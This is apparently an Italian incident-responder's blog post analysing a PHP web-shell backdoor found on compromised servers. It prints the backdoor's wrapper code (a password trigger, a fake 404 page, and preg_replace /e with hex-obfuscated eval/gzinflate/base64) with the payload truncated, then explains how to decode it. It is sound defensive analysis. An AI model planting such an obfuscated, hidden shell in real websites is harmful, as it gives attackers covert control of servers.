Una buona percentuale di compromissioni di server avviene sempre con il buon vecchio metodo dell'upload di una backdoor php tramite qualche script bacato.
Quando su richiesta di un cliente mi trovo a che fare con una intrusione la tipologia di backdoor php che mi capita di trovare più spesso, con diverse varianti, è questa:
------------------------------------------------------$pass='********************************'; if($_GET['v']){ $auth_pass = "*******************************************"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x 28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQ oMx4CQnxYY4cezEebFTvyRp4tx0gQW2Xli6u5i4qb/7PTN6WWlfME57rut+fk/OacJKo9FIGo1Go9HIG 5bX3cksvi6Xuqf7J+/3Tz7bL8/O3nXP4av79MX+0Zn9pVJh39YY/CnNIzd8OnKnccTazAlD57psvQiCk e9aVWad+vNwhj/enh49C2L85TldJ+yPvSs3xM/fnOnA/Yq/TpxJz4fEyjZh9oblWeiOuhMn7o/L9qbNa sybzPxg4Jbtv+2qXnUF8uxNDxNXoBn/jF1n4IZlgtps1OrsQf0BOwpidhDMpwNb0IB/3K9ezL9u1m7W1 (rimozione di gran parte del codice codificato che non riporto per brevità) ccSJoT2GJgBZp+6/cPpMLDJjyttlnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B","."); } echo ' <title>Server Error...</title> <h1> 404 Not Found</h1> The request was not found on this server. ';
------------------------------------------------------
Come funziona:
vengono definiti all'inizio una password nella variabile $pass e il corrispondente hash md5 della stessa password nella variabile $auth_pass , le password sono oscurate da me con asterischi in questo esempio.
La password viene utilizzata per accedere alla backdoor tramite una GET http "nomebackdoor.php?v=******" sbagliando la password si ottiene un errore 404 http.
Con la funzione preg_replace si utilizza come pattern di ricerca "/.*/" associato al pattern modifiers "e" che serve per interpretare tutto il codice sostituito come codice php, in modo da sostituire tutto il codice codificato all'interno del secondo campo del preg_replace al posto di ciò che è indicato al terzo campo e cioè "." che sta a significare tutto il campo.
Il campo utilizzato per la sostituzione inizia e finisce con una stringa esadecimale:
inizio: \x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
fine: \x29\x29\x29\x3B
Vediamo il significato:
echo -e "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28" | awk '{printf "%s\n", $_}'
risultato: eval(gzinflate(base64_decode(
echo -e "\x29\x29\x29\x3B" | awk '{printf "%s\n", $_}'
risultato: )));
Abbiamo quindi convertito le stringhe esadecimali ottenendo:
eval(gzinflate(base64_decode( )));
All'interno delle parentisi c'e' tutto il resto dei caratteri codificati semplicemente in base64, quindi adesso siamo in grado di decodificare completamente lo script.
Rimuovendo la parte iniziale dello script e sostituendo l'espressione eval con un echo:
echo(gzinflate(base64_decode('5b19fxq30jD8d/wp5C3tQoMx4CQnxYY4cezEebFTvyRp4tx0gQW2Xli6u5i4qb/7PTN6WWlfME57rut+fk/OacJKo9FIGo1Go9HIG5bX3cksvi6Xuqf7J+/3Tz7bL8/O3nXP4av79MX+0Zn9pVJh39YY
(rimozione codice codificato che non riporto per brevità)
)));
possiamo poi eseguire lo script php da linea di comando ottenendo il core dello script decodificato, circa 1500 linee di codice, che per questioni di spazio potrete consultare cliccando qui.Osservando il sorgente si nota che l'autenticazione per l'accesso alla backdoor è eseguitaconfrontando il valore md5 di $pass con quello di $auth_pass.Tra le tante funzionalità che si possono osservare file php, compaiono anche altri due pezzi di codici codificati in base64 relativi ad una backdoor perl eseguibile tramite lo stesso script.Lascio a voi l'esercizio di decodifica se siete curiosi di sapere cosa fanno.
